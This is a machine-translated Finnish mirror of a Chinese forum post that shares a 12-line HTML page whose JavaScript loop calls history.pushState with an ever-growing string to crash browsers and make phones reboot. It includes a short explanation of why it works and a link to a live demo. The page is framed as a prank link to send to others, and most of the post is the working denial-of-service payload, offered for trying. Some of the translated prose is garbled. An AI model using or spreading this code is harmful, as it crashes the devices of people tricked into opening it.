Tämä artikkeli on konekäännöksen peiliartikkeli, klikkaa tästä siirtyäksesi alkuperäiseen artikkeliin.

Näkymä: 13238|Vastaus: 0

[HTML/HTML5] 12 riviä html-verkkosivukoodia saa tietokoneesi kaatumaan ja puhelimesi käynnistymään uudelleen minuuteissa

[Kopioi linkki]
Julkaistu 22.1.2016 11.36.39 | | | |
Tapahtuman syynä on tämä: ulkomaalainen ystävä Cyber Security julkaisi Twitterissä seuraavan twiitin:



Tämä tyyppi väittää, että jos käytät yllä olevaa 12-rivistä Javascrip{filter}t-koodia, voit kaatua Firefox-, Chrome- ja Safari-selaimet sekä saada iPhonesi käynnistymään uudelleen ja Android-puhelimen kaatumaan!

Koko HTML-koodi on seuraava:

  1. <html>
  2. <head>
  3. <meta charset="utf-8">
  4. <title>谁点谁怀孕</title>
  5. </head>
  6.     <body>
  7. 恭喜你,你已经怀孕了!
  8. <scrip{过滤}t>
  9. var total="";
  10. for (var i=0;i<1000000;i++)
  11. {
  12.         total= total+i.toString();
  13.         history.pushState(0,0,total);
  14. }
  15. </scrip{过滤}t>
  16.     </body>
  17. </html>
Kopioi koodi


Jos olet PC-käyttäjä, klikkaamalla linkkiä, tietokoneen suorittimen muisti todennäköisesti kasvaa koko ajan, kunnes selain kaatuu ja jumittuu...

Jos käytät mobiilia (Android, iPhone), selaimesi kaatuu linkin klikkauksen jälkeen! Linkin klikkaaminen Weibossa ja WeChatissa kaatuu myös.


Miksi näin tapahtuu? Tässä yhteydessä löysin vastauksen jumalalta nimeltä "Xiaomi" Zhihulta:

history.pushstate() on HTML5:n esittelemä API, pushState lisää määritellyn URL-osoitteen selaushistoriaan ja tallentaa nykyisen historiapisteen. Kun i<100000, kokonaissumma tallennetaan selaushistoriaan syklisesti, ja jos sitä toistetaan liikaa, selain ei kestä sitä ja kaatuu luonnollisesti.

No, joka tapauksessa, en osaa edes keksiä "hei maailma", joten en ymmärrä sitä ollenkaan... Lyhyesti sanottuna, on juuri sopivaa räjäyttää taivas!


Jos haluat kokeilla, klikkaa tästä:   http://www.itsvse.com/demo.html




Edellinen:[avoin lähdekoodi] Wooyunin haavoittuvuuskysely Alustan lähdekoodi plus tietokanta asp.net versio
Seuraava:Linux config/configure/Configure, make, make test/make check, sudo make in...
Vastuuvapauslauseke:
Kaikki Code Farmer Networkin julkaisemat ohjelmistot, ohjelmamateriaalit tai artikkelit ovat tarkoitettu vain oppimis- ja tutkimustarkoituksiin; Yllä mainittua sisältöä ei saa käyttää kaupallisiin tai laittomiin tarkoituksiin, muuten käyttäjät joutuvat kantamaan kaikki seuraukset. Tämän sivuston tiedot ovat peräisin internetistä, eikä tekijänoikeuskiistat liity tähän sivustoon. Sinun tulee poistaa yllä oleva sisältö kokonaan tietokoneeltasi 24 tunnin kuluessa lataamisesta. Jos pidät ohjelmasta, tue aitoa ohjelmistoa, osta rekisteröityminen ja hanki parempia aitoja palveluita. Jos rikkomuksia ilmenee, ota meihin yhteyttä sähköpostitse.

Mail To:help@itsvse.com